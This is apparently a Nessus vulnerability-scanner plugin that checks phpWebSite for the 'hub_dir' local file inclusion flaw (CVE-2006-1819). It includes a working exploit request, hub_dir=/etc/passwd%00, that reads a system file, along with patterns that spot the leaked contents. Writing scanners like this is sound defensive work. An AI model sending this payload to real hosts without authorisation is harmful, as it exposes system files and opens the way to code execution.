phpWebSite index.php hub_dir Parameter Local File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21228);
  script_version("1.22");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-1819");
  script_bugtraq_id(17521);

  script_name(english:"phpWebSite index.php hub_dir Parameter Local File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file include issue.");
  script_set_attribute(attribute:"description", value:
"The version of phpWebSite installed on the remote host fails to
sanitize input to the 'hub_dir' parameter of the 'index.php' script
before using it in a PHP 'include()' function.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit this issue to view arbitrary files on the remote
host or to execute arbitrary PHP code, subject to the privileges of
the web server user id.");
  # https://downloads.securityfocus.com/vulnerabilities/exploits/PHPWebSite_fi_poc
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a081ffd2");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/04/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/04/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpwebsite:phpwebsite");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpwebsite_detect.nasl");
  script_require_keys("www/phpwebsite");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpwebsite"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to exploit one of the flaws to read a file.
  file = "/etc/passwd%00";
  r = http_send_recv3(method:"GET", port:port,
    item:string(dir, "/index.php?","hub_dir=", file ));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream" or "failed opening".
    #
    # nb: this suggests magic_quotes_gpc was enabled but an attacker with
    #     local access might still work.
    egrep(pattern:"main\(/etc/passwd\\0conf/config\.php.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<br");

    if (isnull(contents)) report = NULL;
    else
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "Here are the contents, repeated three times, of the file\n",
        "'/etc/passwd' that Nessus was able to read from the remote\n",
        "host :\n",
        "\n",
        contents
      );
    }

    security_hole(port:port, extra:report);
    exit(0);
  }
}